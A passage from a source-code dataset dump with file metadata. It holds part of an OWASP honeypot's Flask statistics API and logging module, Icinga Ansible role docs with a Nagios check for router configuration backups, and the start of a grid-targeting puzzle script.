]\n\n if country_ip_dest and date:\n match_by_country_and_date = {\n \"$match\": {\n \"country_ip_dest\": country_ip_dest,\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ips_query.insert(0, match_by_country_and_date)\n top_ips_query.insert(2, sort_by_count_and_id)\n\n elif country_ip_dest:\n match_by_country = {\n\n \"$match\": {\n \"country_ip_dest\": country_ip_dest\n }\n }\n top_ips_query.insert(0, match_by_country)\n top_ips_query.insert(2, sort_by_count_and_id)\n\n elif date:\n match_by_date = {\n \"$match\": {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ips_query.insert(0, match_by_date)\n top_ips_query.insert(2, sort_by_count)\n\n else:\n top_ips_query.insert(1, sort_by_count)\n\n try:\n return jsonify(\n aggregate_function(\n connector.honeypot_events,\n top_ips_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/network-events-ips\", methods=[\"GET\"])\ndef top_ten_ips_in_network_events():\n \"\"\"\n get top ten repeated ips in network events\n\n Returns:\n JSON/Dict top ten repeated ips in network events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n country_ip_dest = get_value_from_request(\"country_ip_dest\")\n top_ips_query = [\n top_ip_dests_groupby,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if country_ip_dest and date:\n match_by_country_and_date = {\n \"$match\": {\n \"country_ip_dest\": country_ip_dest,\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ips_query.insert(0, match_by_country_and_date)\n top_ips_query.insert(2, sort_by_count_and_id)\n\n elif country_ip_dest:\n match_by_country = {\n \"$match\": {\n \"country_ip_dest\": country_ip_dest\n }\n }\n top_ips_query.insert(0, match_by_country)\n top_ips_query.insert(2, sort_by_count_and_id)\n\n elif date:\n match_by_date = {\n \"$match\": {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ips_query.insert(0, match_by_date)\n top_ips_query.insert(2, sort_by_count)\n\n else:\n top_ips_query.insert(1, sort_by_count)\n\n try:\n return jsonify(\n aggregate_function(\n connector.network_events,\n top_ips_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/honeypot-events-ports\", methods=[\"GET\"])\ndef top_ten_ports_in_honeypot_events():\n \"\"\"\n get top ten repeated ports in honeypot events\n\n Returns:\n JSON/Dict top ten repeated ports in honeypot events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n country_ip_dest = get_value_from_request(\"country_ip_dest\")\n top_ports_query = [\n top_port_dests_groupby,\n {\n \"$skip\": fix_skip(get_value_from_request(\"skip\"))\n },\n {\n \"$limit\": fix_limit(get_value_from_request(\"limit\"))\n }\n ]\n if country_ip_dest and date:\n match_by_country_and_date = {\n \"$match\":\n {\n \"country_ip_dest\": country_ip_dest,\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ports_query.insert(0, match_by_country_and_date)\n top_ports_query.insert(2, sort_by_count_and_id)\n elif country_ip_dest:\n match_by_country = {\n \"$match\":\n {\n \"country_ip_dest\": country_ip_dest,\n }\n }\n top_ports_query.insert(0, match_by_country)\n top_ports_query.insert(2, sort_by_count_and_id)\n elif date:\n match_by_date = {\n \"$match\": {\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ports_query.insert(0, match_by_date)\n top_ports_query.insert(2, sort_by_count)\n else:\n top_ports_query.insert(1, sort_by_count)\n try:\n return jsonify(\n aggregate_function(\n connector.honeypot_events,\n top_ports_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/network-events-ports\", methods=[\"GET\"])\ndef top_ten_ports_in_network_events():\n \"\"\"\n get top ten repeated ports in network events\n\n Returns:\n JSON/Dict top ten repeated ports in network events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n country_ip_dest = get_value_from_request(\"country_ip_dest\")\n top_ports_query = [\n top_port_dests_groupby,\n {\n \"$skip\": fix_skip(get_value_from_request(\"skip\"))\n },\n {\n \"$limit\": fix_limit(get_value_from_request(\"limit\"))\n }\n ]\n if country_ip_dest and date:\n match_by_country_and_date = {\n \"$match\":\n {\n \"country_ip_dest\": country_ip_dest,\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ports_query.insert(0, match_by_country_and_date)\n top_ports_query.insert(2, sort_by_count_and_id)\n elif country_ip_dest:\n match_by_country = {\n \"$match\":\n {\n \"country_ip_dest\": country_ip_dest,\n }\n }\n top_ports_query.insert(0, match_by_country)\n top_ports_query.insert(2, sort_by_count_and_id)\n elif date:\n match_by_date = {\n \"$match\": {\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_ports_query.insert(0, match_by_date)\n top_ports_query.insert(2, sort_by_count)\n else:\n top_ports_query.insert(1, sort_by_count)\n try:\n return jsonify(\n aggregate_function(\n connector.network_events,\n top_ports_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/honeypot-events\", methods=[\"GET\"])\ndef get_honeypot_events():\n \"\"\"\n get honeypot events\n\n Returns:\n an array contain honeypot events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n if date:\n try:\n return jsonify(\n [\n i for i in\n connector.honeypot_events.find(\n {\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n },\n {\n \"_id\": 0\n }\n ).skip(\n fix_skip(\n get_value_from_request(\"skip\")\n )\n ).limit(\n fix_limit(\n get_value_from_request(\"limit\")\n )\n )\n ]\n ), 200\n except Exception as _:\n return flask_null_array_response()\n else:\n try:\n return jsonify(\n [\n i for i in\n connector.honeypot_events.find(\n {},\n {\n \"_id\": 0\n }\n ).skip(\n fix_skip(\n get_value_from_request(\"skip\")\n )\n ).limit(\n fix_limit(\n get_value_from_request(\"limit\")\n )\n )\n ]\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/network-events\", methods=[\"GET\"])\ndef get_network_events():\n \"\"\"\n get network events\n\n Returns:\n an array contain network events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n if date:\n try:\n return jsonify(\n [\n i for i in\n connector.network_events.find(\n {\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n },\n {\n \"_id\": 0\n }\n ).skip(\n fix_skip(\n get_value_from_request(\"skip\")\n )\n ).limit(\n fix_limit(\n get_value_from_request(\"limit\")\n )\n )\n ]\n ), 200\n except Exception as _:\n return flask_null_array_response()\n else:\n try:\n return jsonify(\n [\n i for i in\n connector.network_events.find(\n {},\n {\n \"_id\": 0\n }\n ).skip(\n fix_skip(\n get_value_from_request(\"skip\")\n )\n ).limit(\n fix_limit(\n get_value_from_request(\"limit\")\n )\n )\n ]\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/honeypot-events-countries\", methods=[\"GET\"])\ndef top_ten_countries_in_honeypot_events():\n \"\"\"\n get top ten repeated countries in honeypot events\n\n Returns:\n JSON/Dict top ten repeated countries honeypot in events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n top_countries_query = [\n top_countries_groupby,\n sort_by_count,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if date:\n match_by_date_and_country = {\n \"$match\":\n {\n \"country_ip_dest\": {\n \"$gt\": \"-\"\n },\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_countries_query.insert(0, match_by_date_and_country)\n else:\n match_by_country = {\n \"$match\":\n {\n \"country_ip_dest\": {\n \"$gt\": \"-\"\n }\n }\n }\n top_countries_query.insert(0, match_by_country)\n try:\n return jsonify(\n aggregate_function(\n connector.honeypot_events,\n top_countries_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/network-events-countries\", methods=[\"GET\"])\ndef top_ten_countries_in_network_events():\n \"\"\"\n get top ten repeated countries in network events\n\n Returns:\n JSON/Dict top ten repeated countries in network events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n top_countries_query = [\n top_countries_groupby,\n sort_by_count,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if date:\n match_by_date_and_country = {\n \"$match\":\n {\n \"country_ip_dest\": {\n \"$gt\": \"-\"\n },\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_countries_query.insert(0, match_by_date_and_country)\n else:\n match_by_country = {\n \"$match\":\n {\n \"country_ip_dest\": {\n \"$gt\": \"-\"\n }\n }\n }\n top_countries_query.insert(0, match_by_country)\n try:\n return jsonify(\n aggregate_function(\n connector.network_events,\n top_countries_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/network-events-machinenames\", methods=[\"GET\"])\ndef top_network_machine_names():\n \"\"\"\n get top network machine names in network events\n\n Returns:\n JSON/Dict top network machine names in network events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n\n top_machinenames_query = [\n top_machine_names_groupby,\n sort_by_count_and_id,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if date:\n match_by_date = {\n \"$match\": {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_machinenames_query.insert(0, match_by_date)\n try:\n return jsonify(\n aggregate_function(\n connector.network_events,\n top_machinenames_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/honeypot-events-machinenames\", methods=[\"GET\"])\ndef top_honeypot_machine_names():\n \"\"\"\n get top honeypot machine names in honeypot events\n\n Returns:\n JSON/Dict top honeypot machine names\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n top_machinenames_query = [\n top_machine_names_groupby,\n sort_by_count_and_id,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if date:\n match_by_date = {\n \"$match\": {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n }\n top_machinenames_query.insert(0, match_by_date)\n try:\n return jsonify(\n aggregate_function(\n connector.honeypot_events,\n top_machinenames_query\n )\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/module-events\", methods=[\"GET\"])\ndef module_events():\n \"\"\"\n Get total number of credential events according to module\n\n Returns:\n JSON/Dict of credential events according to module\n \"\"\"\n module_name = get_value_from_request(\"module_name\")\n module_query = [\n group_by_ip_dest,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if module_name:\n module_query.insert(0, {\"$match\": {'module_name': module_name}})\n try:\n return jsonify(\n aggregate_function(connector.credential_events, module_query)\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/most-usernames-used\", methods=[\"GET\"])\ndef top_usernames_used():\n \"\"\"\n Get top usernames used according to module\n\n Returns:\n JSON/Dict of top usernames used\n \"\"\"\n module_name = get_value_from_request(\"module_name\")\n module_query = [\n group_by_ip_dest_and_username,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if module_name:\n module_query.insert(0, {\"$match\": {'module_name': module_name}})\n try:\n return jsonify(\n aggregate_function(connector.credential_events, module_query)\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/most-passwords-used\", methods=[\"GET\"])\ndef top_passwords_used():\n \"\"\"\n Get top passwords used according to module\n\n Returns:\n JSON/Dict of top passwords used\n \"\"\"\n module_name = get_value_from_request(\"module_name\")\n module_query = [\n group_by_ip_dest_and_password,\n {\n \"$skip\": fix_skip(\n get_value_from_request(\"skip\")\n )\n },\n {\n \"$limit\": fix_limit(\n get_value_from_request(\"limit\")\n )\n }\n ]\n if module_name:\n module_query.insert(0, {\"$match\": {'module_name': module_name}})\n try:\n return jsonify(\n aggregate_function(connector.credential_events, module_query)\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/module-names\", methods=[\"GET\"])\ndef all_module_names():\n \"\"\"\n Get top passwords used according to module\n\n Returns:\n JSON/Dict of top passwords used\n \"\"\"\n module_names = load_all_modules()\n try:\n return jsonify(\n {\"module_names\": module_names}\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\ndef start_api_server():\n \"\"\"\n start API server\n\n Returns:\n True\n \"\"\"\n # Starting the API\n my_api_configuration = api_configuration()\n write_to_api_console(\n \" * API access key: {0}\\n\".format(\n my_api_configuration[\"api_access_key\"] if not my_api_configuration[\"api_access_without_key\"]\n else \"NOT REQUIRED!\"\n )\n )\n global app\n app.config[\"OWASP_HONEYPOT_CONFIG\"] = {\n \"api_access_key\": my_api_configuration[\"api_access_key\"],\n \"api_client_white_list\": my_api_configuration[\"api_client_white_list\"][\"enabled\"],\n \"api_client_white_list_ips\": my_api_configuration[\"api_client_white_list\"][\"ips\"],\n \"api_access_log\": my_api_configuration[\"api_access_log\"][\"enabled\"],\n \"api_access_log_filename\": my_api_configuration[\"api_access_log\"][\"filename\"],\n \"api_access_without_key\": my_api_configuration[\"api_access_without_key\"],\n \"language\": \"en\"\n }\n app.run(\n host=my_api_configuration[\"api_host\"],\n port=my_api_configuration[\"api_port\"],\n debug=my_api_configuration[\"api_debug_mode\"],\n threaded=True\n )\n return True\n" }, { "alpha_fraction": 0.7246752977371216, "alphanum_fraction": 0.7376623153686523, "avg_line_length": 34.09090805053711, "blob_id": "ac132795518a4de387945f035b54b202997268e6", "content_id": "3b44c41c9b20ec9ea437f5b2cd7c9d073f158b35", "detected_licenses": [ "Python-2.0", "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 385, "license_type": "permissive", "max_line_length": 84, "num_lines": 11, "path": "/lib/argparse/readme.md", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "license: python.org\n===================\n### argparse\n\nThis the same argparse https://docs.python.org/3/library/argparse.html\nbut we fixed the issue https://github.com/python/cpython/pull/3577\nand this library temporary will import from here on windows os until we get a patch.\n\npatch credits: Ali Razmjoo Qalaei, Vahid Behzadan \n\nRef: https://github.com/zdresearch/OWASP-Nettacker/tree/master/lib/argparse" }, { "alpha_fraction": 0.4595465362071991, "alphanum_fraction": 0.464558482170105, "avg_line_length": 26.65676498413086, "blob_id": "999455269ba5326cd74386e0e4de070cec6c8413", "content_id": "9114d3811a5ad91e7da2d2df174be3364332506b", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8380, "license_type": "permissive", "max_line_length": 108, "num_lines": 303, "path": "/core/alert.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport json\nfrom core import color\nfrom core.compatible import version\nfrom core.time_helper import now\n\n\ndef is_not_run_from_api():\n \"\"\"\n check if framework run from API to prevent any alert\n\n Returns:\n True if run from API otherwise False\n \"\"\"\n if \"--start-api-server\" in sys.argv or (len(sys.argv) == 4 and \"transforms\" in sys.argv[1]):\n return False\n return True\n\n\ndef messages(language, msg_id):\n \"\"\"\n load a message from message library with specified language\n\n Args:\n language: language\n msg_id: message id\n\n Returns:\n the message content in the selected language if message found otherwise return message in English\n \"\"\"\n # Returning selected language\n if language is -1:\n return list(\n set(\n [\n langs.rsplit(\"_\")[1].rsplit(\".\")[0] for langs in\n os.listdir(\n os.path.dirname(\n os.path.abspath(__file__)\n ).replace(\n \"\\\\\", \"/\"\n ) + \"/../lib/language/\"\n )\n if langs != \"readme.md\" and langs.rsplit(\"_\")[1].rsplit(\".\")[0] != \"\"\n ]\n )\n )\n # Importing messages\n try:\n msgs = getattr(\n __import__(\n \"lib.language.messages_{0}\".format(language),\n fromlist=[\"all_messages\"]\n ),\n \"all_messages\"\n )()[str(msg_id)]\n except Exception as _:\n msgs = getattr(\n __import__(\n \"lib.language.messages_en\",\n fromlist=[\"all_messages\"]\n ),\n \"all_messages\"\n )()[str(msg_id)]\n if version() is 2:\n return msgs.decode(\"utf8\")\n return msgs\n\n\ndef input_msg(content):\n \"\"\"\n build the input message to get input from users\n\n Args:\n content: content of the message\n\n Returns:\n the message in input structure\n \"\"\"\n if version() is 2:\n return color.color(\"yellow\") + \\\n \"[+] \" + \\\n color.color(\"green\") + \\\n content.encode(\"utf8\") + \\\n color.color(\"reset\")\n else:\n return bytes(\n color.color(\"yellow\") +\n \"[+] \" + color.color(\"green\") +\n content +\n color.color(\"reset\"),\n \"utf8\"\n )\n\n\ndef info(content, log_in_file=None, mode=None, event=None, language=None, thread_tmp_filename=None):\n \"\"\"\n build the info message, log the message in database if requested, rewrite the thread temporary file\n\n Args:\n content: content of the message\n log_in_file: log filename name\n mode: write mode, [w, w+, wb, a, ab, ...]\n event: standard event in JSON structure\n language: the language\n thread_tmp_filename: thread temporary filename\n\n Returns:\n None\n \"\"\"\n if is_not_run_from_api(): # prevent to stdout if run from API\n if version() is 2:\n sys.stdout.write(\n color.color(\"yellow\") +\n \"[+] [{0}] \".format(now()) +\n color.color(\"green\") +\n content.encode(\"utf8\") +\n color.color(\"reset\") +\n \"\\n\"\n )\n else:\n sys.stdout.buffer.write(\n bytes(\n color.color(\"yellow\") +\n \"[+] [{0}] \".format(now()) +\n color.color(\"green\") +\n content +\n color.color(\"reset\") +\n \"\\n\",\n \"utf8\"\n )\n )\n sys.stdout.flush()\n if event: # if an event is present log it\n from core.log import __log_into_file\n __log_into_file(log_in_file, mode, json.dumps(event), language)\n if thread_tmp_filename: # if thread temporary filename present, rewrite it\n __log_into_file(thread_tmp_filename, \"w\", \"0\", language)\n return\n\n\ndef write(content):\n \"\"\"\n simple print a message\n\n Args:\n content: content of the message\n\n Returns:\n None\n \"\"\"\n if is_not_run_from_api():\n if version() is 2:\n sys.stdout.write(\n content.encode(\"utf8\")\n )\n else:\n sys.stdout.buffer.write(\n bytes(content, \"utf8\") if isinstance(content, str) else content\n )\n sys.stdout.flush()\n return\n\n\ndef warn(content):\n \"\"\"\n build the warn message\n\n Args:\n content: content of the message\n\n Returns:\n the message in warn structure - None\n \"\"\"\n if is_not_run_from_api():\n if version() is 2:\n sys.stdout.write(\n color.color(\"blue\") +\n \"[!] [{0}] \".format(now()) +\n color.color(\"yellow\") +\n content.encode(\"utf8\") +\n color.color(\"reset\") +\n \"\\n\"\n )\n else:\n sys.stdout.buffer.write(\n bytes(\n color.color(\"blue\") +\n \"[!] [{0}] \".format(now()) +\n color.color(\"yellow\") +\n content +\n color.color(\"reset\") +\n \"\\n\",\n \"utf8\")\n )\n sys.stdout.flush()\n return\n\n\ndef verbose_info(content, log_in_file=None, mode=None, event=None, language=None, thread_tmp_filename=None):\n \"\"\"\n build the info message, log the message in database if requested, rewrite the thread temporary file\n\n Args:\n content: content of the message\n log_in_file: log filename name\n mode: write mode, [w, w+, wb, a, ab, ...]\n event: standard event in JSON structure\n language: the language\n thread_tmp_filename: thread temporary filename\n\n Returns:\n None\n \"\"\"\n if is_not_run_from_api(): # prevent to stdout if run from API\n if version() is 2:\n sys.stdout.write(\n color.color(\"cyan\") +\n \"[v] [{0}] \".format(now()) +\n color.color(\"grey\") +\n content.encode(\"utf8\") +\n color.color(\"reset\") +\n \"\\n\"\n )\n else:\n sys.stdout.buffer.write(\n bytes(\n color.color(\"cyan\") +\n \"[v] [{0}] \".format(now()) +\n color.color(\"grey\") +\n content +\n color.color(\"reset\") +\n \"\\n\",\n \"utf8\"\n )\n )\n sys.stdout.flush()\n if event: # if an event is present log it\n from core.log import __log_into_file\n __log_into_file(log_in_file, mode, json.dumps(event), language)\n if thread_tmp_filename: # if thread temporary filename present, rewrite it\n __log_into_file(thread_tmp_filename, \"w\", \"0\", language)\n return\n\n\ndef error(content):\n \"\"\"\n build the error message\n\n Args:\n content: content of the message\n\n Returns:\n the message in error structure - None\n \"\"\"\n if is_not_run_from_api():\n if version() is 2:\n sys.stdout.write(\n color.color(\"red\") +\n \"[X] [{0}] \".format(now()) +\n color.color(\"yellow\") +\n content.encode(\"utf8\") +\n color.color(\"reset\") +\n \"\\n\"\n )\n else:\n sys.stdout.buffer.write(\n (\n color.color(\"red\") +\n \"[X] [{0}] \".format(now()) +\n color.color(\"yellow\") +\n content + color.color(\"reset\") +\n \"\\n\"\n ).encode(\"utf8\")\n )\n sys.stdout.flush()\n return\n\n\ndef write_to_api_console(content):\n \"\"\"\n simple print a message in API mode\n\n Args:\n content: content of the message\n\n Returns:\n None\n \"\"\"\n if version() is 2:\n sys.stdout.write(\n content.encode(\"utf8\")\n )\n else:\n sys.stdout.buffer.write(\n bytes(content, \"utf8\")\n )\n sys.stdout.flush()\n return\n" } ]
25
fri-it2/icinga_ansible
https://github.com/fri-it2/icinga_ansible
5f3494fae1a6582d2fe8eae72b708bd17f44a521
c670722db5912fda55107b86227df6283cc4d866
785bd5114158e9d2934bfceaa5662b516fa691ba
refs/heads/master
2021-06-22T13:38:24.564738
2021-01-07T19:20:58
2021-01-07T19:20:58
169,971,987
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6244041919708252, "alphanum_fraction": 0.6406100988388062, "avg_line_length": 22.840909957885742, "blob_id": "8a67f6c47ed9da55420925ae0f681971d8ede1a6", "content_id": "888e71d7e6c46c4618859e1f39d161ff4b848971", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1052, "license_type": "permissive", "max_line_length": 130, "num_lines": 44, "path": "/icinga2_add_hosts/README.md", "repo_name": "fri-it2/icinga_ansible", "src_encoding": "UTF-8", "text": "# Ansible Role:icinga2_add_hosts\n\nAn Ansible role will add host to Icinga 2 to be monitored. \n\n## Description\n\nThis role will add host to Icinga 2. Host will belong to the group and will be monitored\nif available.\n\n## Role Variables\n\n* `host_address` \n IP of host. \n\n* `fqdn` \n A fully qualified domain name of host. \n\n* `host_groups` \n Host can be assign to specific groups. Variable shoud be type list(vlak element pa je hash s ključema name in slug). \n List can be empty.\n\n* `host_state` \n Host can be removed or added. If host is removed, variable value is `absent`. If host is added, the variable value is `present`.\n Default value is `present`.\n\n## Example Playbook\n\n```yaml\n- name: Add host to Icinga 2 to be monitored\n hosts: host.nekaj.si\n vars:\n host_address: \"100.2.1.3\"\n host_groups: [{\n \"name\": \"Osnovna šola NG\",\n \"slug\": \"os-1\"\n },{\n \"slug\": \"sturj1e\",\n \"name\": \"Šturj1e\"\n }] \n fqdn: \"nekaj.sola.si\"\n host_state: \"absent\"\n roles:\n - icinga2_add_hosts\n```\n" }, { "alpha_fraction": 0.6564056277275085, "alphanum_fraction": 0.675645112991333, "avg_line_length": 38.80180358886719, "blob_id": "069ebb633ae724fe967f5fdf61794d41692f19db", "content_id": "0c73d733e39a5a161e6b8c143d81dd49d91b97c8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4419, "license_type": "permissive", "max_line_length": 156, "num_lines": 111, "path": "/backup_router.py", "repo_name": "fri-it2/icinga_ansible", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# Nagios check command to verify, if oxidized successfully make a backup of the configuration from the device\n\n\n__version__ = 'v1.0'\n\nimport requests\nimport json\nimport logging\nfrom datetime import datetime\n\nfrom pynag.Plugins import PluginHelper, ok, warning, critical, unknown\nimport urllib3\nurllib3.disable_warnings()\n\nhelper = PluginHelper()\nhelper.parser.add_option(\"--url\", help=\"Url of device to connect to connect to\", dest=\"url\")\nhelper.parser.add_option(\"-l\", help=\"Username to login with\", dest=\"username\")\nhelper.parser.add_option(\"-p\", help=\"Password to login with\", dest=\"password\")\nhelper.parser.add_option('-c', help='Time in second from last backup: status of service in CRITICAL state', dest='critical_state', default='36000')\nhelper.parser.add_option('-w', help='Time in second from last backup: status of service in WARNING state', dest='warning_state', default='18000')\nhelper.parse_arguments()\nurl = helper.options.url\nusername = helper.options.username\npassword = helper.options.password\nif url is None:\n helper.parser.error('-H argument is required')\nif username is None:\n helper.parser.error('-l argument is required')\nif password is None:\n helper.parser.error('-p argument is required')\n\nif helper.options.show_debug:\n logging.basicConfig()\n logging.getLogger().setLevel(logging.DEBUG)\nelse:\n logging.disable(logging.ERROR)\n\ntry:\n response = requests.get(url, auth=(username, password), verify=False, timeout=20)\nexcept requests.exceptions.Timeout as e:\n logging.debug(e, exc_info=1)\n helper.add_summary('Could not establish connection')\n helper.add_long_output(str(e))\n helper.status(critical)\nexcept requests.exceptions.ConnectionError as e:\n logging.debug(e, exc_info=1)\n\n helper.add_summary('Connection error')\n helper.add_long_output('Connection error'+str(e))\n helper.status(critical)\nexcept requests.exceptions.HTTPError as e:\n logging.debug(e, exc_info=1)\n helper.add_summary('HTTP error')\n\n helper.add_long_output(str(e))\n helper.status(critical)\nexcept requests.exceptions.RequestException as e:\n logging.debug(e, exc_info=1)\n helper.add_summary('Unknown error')\n helper.add_long_output(str(e))\n helper.status(critical)\nexcept Exception as e:\n logging.debug(e, exc_info=1)\n helper.add_summary('Unknown error')\n helper.add_long_output(str(e))\n helper.status(critical)\n\nelse:\n try:\n json_response = json.loads(response.text)\n except Exception as e:\n logging.debug(e, exc_info=1)\n helper.add_summary('JSON error')\n helper.add_long_output(str(e))\n helper.status(critical)\n else:\n last_start = json_response.get('last').get('start')\n last_status = json_response.get('last').get('status')\n # čas '2020-05-07 09:05:54 UTC'\n # datetime.datetime(2020, 5, 7, 9, 5, 54)\n year = int(last_start[0:4])\n month = int(last_start[5:7])\n day = int(last_start[8:10])\n hour = int(last_start[11:13])\n minute = int(last_start[14:16])\n second = int(last_start[17:19])\n date_last_start = datetime(year, month, day, hour, minute, second)\n # datetime(int(last_start[0:4]), int(last_start[5:7]), int(last_start[8:10]),int(last_start[11:13]), int(last_start[14:16]), int(last_start[17:19]))\n time_difference = datetime.utcnow() - date_last_start\n duration = time_difference.total_seconds()\n if last_status != 'success':\n helper.add_summary('Configuration not saved OK')\n helper.add_long_output('time=%s status=%s' % (last_start, last_status))\n helper.status(critical)\n elif int(helper.options.warning_state) < duration < int(helper.options.critical_state):\n helper.add_summary('Configuration not saved in time')\n helper.add_long_output('time=%s status=%s' % (last_start, last_status))\n helper.status(warning)\n elif duration > int(helper.options.critical_state):\n helper.add_summary('Configuration not saved in time')\n helper.add_long_output('time=%s status=%s' % (last_start, last_status))\n helper.status(critical)\n else:\n helper.add_summary('Configuration saved OK')\n helper.status(ok)\n helper.add_long_output('time=%s status=%s' % (last_start, last_status))\n\nhelper.check_all_metrics()\nhelper.exit()\n" }, { "alpha_fraction": 0.7766497731208801, "alphanum_fraction": 0.7868020534515381, "avg_line_length": 31.5, "blob_id": "2351278b6ceef781db10479da75b5f787e5fc24d", "content_id": "e7d8c26ba4a031a932fa3f298002acf0f66270d1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 197, "license_type": "permissive", "max_line_length": 96, "num_lines": 6, "path": "/README.md", "repo_name": "fri-it2/icinga_ansible", "src_encoding": "UTF-8", "text": "# Icinga 2 and Icinga Web 2 Ansible role\n\n## Description\n\nAnsible roles are units of automation. \nOnce downloaded, roles can be dropped into Ansible PlayBooks and immediately applied to servers.\n\n\n" } ]
3
Christopher-Cannon/best-target
https://github.com/Christopher-Cannon/best-target
e5c3cb0d8d2e33f47dc40ed09c62428cf0a92022
f4d0936a3978b198a28ad588eb5a3bf957b6d9a6
e8ec3b54f882d2f847842069ada63e5cc57ce9be
refs/heads/master
2021-01-21T18:27:57.029431
2017-05-22T11:47:55
2017-05-22T11:47:55
92,047,605
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 49, "blob_id": "12acec9c1c9303f861608d31125f187b64c90681", "content_id": "e677b53397d2b567cc71eba2fb74c576b9c5fbf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 100, "license_type": "no_license", "max_line_length": 85, "num_lines": 2, "path": "/README.md", "repo_name": "Christopher-Cannon/best-target", "src_encoding": "UTF-8", "text": "# best-target\nFind the best target for a missile strike on a map containing various military units.\n" }, { "alpha_fraction": 0.42768594622612, "alphanum_fraction": 0.45543092489242554, "avg_line_length": 27.957265853881836, "blob_id": "0b58663e16aa328cb0bdf0a3596f2e9f8dda8aa0", "content_id": "a1dd0973069d36b23e458783ea40255723221824", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3388, "license_type": "no_license", "max_line_length": 91, "num_lines": 117, "path": "/best_target.py", "repo_name": "Christopher-Cannon/best-target", "src_encoding": "UTF-8", "text": "'''\nOn a map containing various military units, find the most valuable tile\nto strike with a missile that has the following blast 